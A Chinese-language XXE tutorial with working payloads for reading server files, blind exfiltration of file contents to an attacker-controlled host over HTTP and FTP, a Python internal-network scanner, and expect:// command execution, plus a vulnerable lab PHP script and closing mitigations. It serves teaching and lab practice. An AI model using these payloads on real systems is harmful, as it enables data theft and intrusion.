XXE从0到1

1. XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

下面我们主要介绍PHP语言下的XXE攻击.

1.1 XML基础

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

1.1.1文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.1.2 DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

DTD示例:

1.1.3 DTD的声明

DTD有内部声明和外部声明两种

1. 内部声明 : <!DOCTYPE 根元素 [元素声明] >
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2. 外部声明(引用外部DTD): <!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> --------------------------------------------------------------------
#http://127.0.0.1/note.dtd的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

1.1.4 DTD实体

构成DTD的叫做DTD实体

  • 内部实体:
  • 外部实体:

内部和外部实体中,又有一般实体和参数实体

  • 一般实体: 引用方式:&实体名;
  • 参数实体: 引用方式:%实体名;

注意参数实体只能在DTD中申明,DTD中引用;

<!DOCTYPE message [
<!ENTITY normal "hello"> <!-- 内部一般实体 -->
<!ENTITY % normal2 "hello"> <!-- 内部参数实体 -->
<!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部一般实体 -->
<!ENTITY % normal4 SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 -->
%normal4; <!-- 引用参数实体 -->
]>
<message>&normal;</message> <!-- 引用参数实体 -->

参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML实体编码,否则会出现解析错误。

<!DOCTYPE test [
<!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
<message>&files;</message>

2. XXE原理

XXE即XML外部实体注入 。和sql注入一样,进行xml修改成恶意代码后,xml解析器解析了恶意代码造成XXE。

2.1 利用方式

方式一: 直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

方式二:通过DTD文档引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd"> <hhh>&f;<hhh> #DTD文件内容:
<!ENTITY f SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]> <hhh>&f;<hhh> #Quan.dtd的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd">

2.2 XXE的分类

XXE分成了三类,正常回显XXE、报错XXE和Blind XXE

一、有回显XXE

示例代码:

xml.php

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

当读取的文件中有特殊符号的时候,直接读取会报错。

问题出在

...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误)

这时候我们就可以利用CDATA或者base64编码来绕过

1.使用base64编码

使用base64编码进行XXE可以防止返回包验证,得到的值进行解码即可还原

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
]>
<test>&file;</test>

2.使用CDATA

CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]> <roottag>&all;</roottag> #evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

二、无回显XXE(XXE盲打)

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://IP/test.dtd">
%dtd;%int;%send; ]>

注意此处test.dtd的%进行了html实体编码。%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

具体加载过程:

首先加载%dtd。此时会远程加载攻击者主机上的外部实体,然后加载 %int。接下来加载 %send 实体,此时就是关键点,服务器端返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串 p 的值便是参数实体 file 的值,也就是读取的文件。

补充:

此处利用的是php伪协议对读取文件信息base64编码,再通过http协议发送数据,而在java中,此处利用点中,文件里如果存在换行等字符,就会导致发送失败,不能通过http协议发送,则用ftp协议。(无特殊字符的简单文件http协议也可以进行读取)

Post 包

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>

evil.xml

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ip:2121/%d;'>">
%c;

在测试主机上下载并运行xxe-ftp-server.rb,运行后会在2121端口开启ftp服务,脚本下载地址:https://github.com/ONsec-Lab/scripts

Ruby xxe-ftp-server.rb

2.3 判出此处断是否存在漏洞

遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

(1)检测XML是否会被解析:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY dog "this is dog">
]>
<root>&dog;</root>

和注入一样,看输入的xml

如果$dog;输出了"this is dog"那就继续第二步。

这里来个补充说明:

第一种情况

数据包中发现传输了xml格式的数据,则判断出xml可能会被解析。

利用有回显payload的时候,xml标签必须和数据包中的标签一致,不然会出现无回显的情况。具体原理看下面的代码分析

第二种情况

发现数据包中无xml传输,也有可能存在xml解析,可以修改Content-Type的值为:application/xml;charset=UTF-8类型,然后发出xml看响应结果

(2)检测服务器是否支持外部实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % dog SYSTEM "http://ip:9999">
%dog;
]>

通过nc监听查看是否发送了请求,也可以通过dnslog来查看。

(3)判断是否有回显结果,无回显则使用xxe盲打

3. 测试靶场

xxe-lab

这里我们要求php版本为5.2,5.3,5.4,因为他们的libxml版本为2.7.7,2.7.8

允许加载外部实体,libxml版本在2.9.1之后,默认是不解析外部实体

有回显的XXE利用:

在登陆点抓一个包,插入payload

<?xml version="1.0"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&goodies;</username>
<password>yang</password></user>

注意点,这里必须要把获取的数据写入username标签,具体是代码中,由于获取的username标签后输出产生的XXE。

无回显的XXE利用

注释掉echo和关闭错误显示

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://IP/test.dtd">
%dtd;%int;%send; ]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">

kali开启nc监听,运行payload

靶场的代码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/ $USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null; libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档 try{
$dom = new DOMDocument();//创建XML的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
$creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档 $username = $creds->username;//获取username标签的值
$password = $creds->password;//获取password标签的值 if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。... $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
} header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

4. HTTP 内网存活主机扫描

可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,这样我们就能拿到网段了

利用python2脚本探测存活主机:

# -*- coding: utf-8 -*-
import requests
import base64 #Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml> def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml) def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
# http://192.168.202.1/xxe/php_xxe/doLogin.php 就是存在xxe的php网址
x = requests.post('http://192.168.202.1/xxe/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(129, 135):
try:
i = str(i)
#此处填写网段
ip = '192.168.202.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

结果,红框中的就是存在主机:

5. HTTP端口扫描

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.202.130:80">
]> <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

设置爆破端口

根据长度或者响应时间来判断端口存活

6. 执行系统命令

这种情况很少发生,PHP加载了expect模块,攻击者能够通过XXE执行代码。

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://执行的命令">
]> <hhh>&f;<hhh>

1.4.1 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

1.4.2 PHP下

libxml_disable_entity_loader(true);

1.4.3 JAVA下

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

1.4.4 Python下

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

XXE从0到1的更多相关文章

  1. ZAM 3D 制作简单的3D字幕 流程(二)

    原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...

  2. ZAM 3D 制作3D动画字幕 用于Xaml导出

    原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...

  3. 微信小程序省市区选择器对接数据库

    前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...

  4. osg编译日志

    1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...

  5. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

  6. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  7. XXE篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    0x01 Brief Description XXE(XML External Entity) XML外部实体攻击也是常见的web漏洞之一,在学习这个漏洞之前有必要了解一下xml,可以参考w3c的基本 ...

  8. 微信开源PHP商城系统一处blind xxe(无需登录,附POC)

    测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...

  9. xxe漏洞的学习与利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

随机推荐

  1. UI_UE在线就业-笔记

    UI设计 一.字体设计的应用范围 Logo设计.平面海报.包装设计.banner设计.APP引导页.UI图标.UI界面.影视设计 二.字体的分类 衬线字体和非衬线字体之分 区别在于笔画开始与结尾地方有 ...

  2. ms17-010

    永恒之蓝和ms17-010简介: 永恒之蓝(EternalBLUE)"是Shadow Brokers(影子经纪人)黑客组织公布的一款黑客工具,该工具利用的漏洞也被称为MS17-010漏洞,M ...

  3. 几个垃圾XSS

    遇见帅比厂商就离谱.... 这个厂商就挖了几个反射XSS,幸亏没有浪费太多时间 嗯 有的有waf.有的没有就离谱 可以看见可以解析的,但是他的这个站,遇见关键函数就自己跳转了.然后去寻找下别的标签fu ...

  4. selenium元素定位之 八大元素定位

    进入网站,按F12,点击弹出框右上角的位置的小箭头,然后移到需要定位的元素上,点击一下即可定位元素(1) id定位(有id才可以定位)wd.find_element_by_id('') #输入id属性 ...

  5. 2020年最新阿里、字节、腾讯、京东等一线大厂高频面试(Android岗)真题合集,面试轻松无压力

    本文涵盖了阿里巴巴.腾讯.字节跳动.京东.华为等大厂的Android面试真题,不管你是要面试大厂还是普通的互联网公司,这些面试题对你肯定是有帮助的,毕竟大厂一定是行发展的标杆,很多公司的面试官同样会研 ...

  6. 『Java』List Set

    观前提醒:本文内容多为入门时的学习笔记,笔记内容有些混乱!!! | | | | | | | | | | | | 泛型只能是引用类型,不能是基本类型. 如果希望集合中存储的是基本类型数据,需要基本类型对 ...

  7. Cookie和Session得使用理解

    Cookie 饼干 什么是Cokkie? 1.Cookie 翻译过来是饼干的意思. 2.Cookie 是服务器通知客户端保存键值对的一种技术. 3.客户端有了 Cookie 后,每次请求都发送给服务器 ...

  8. 我写一篇文章就是要批评CSDN! 因为蓝湖3.0的更新

    对于开发者,经常会使用,学习到各种环境语言和工具 我们不只是在不断的在搬运知识,更多时候我们也是在 分享我们学到的"新知识", 当我们有幸觉得自己发现了新的知识与技术时,作为分享者 ...

  9. 【XXE学习】XML外部实体注入

    一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...

  10. NOIP 模拟 $15\; \text{影子}$

    题解 \(by\;zj\varphi\) 一道并查集的题 对于它路径上点权,我们可以转化一下:对于一个点,它在哪些路径上是最小的点权 那么我们排个序,从大到小加入点,每回加入时,将这个点与它所相连的且 ...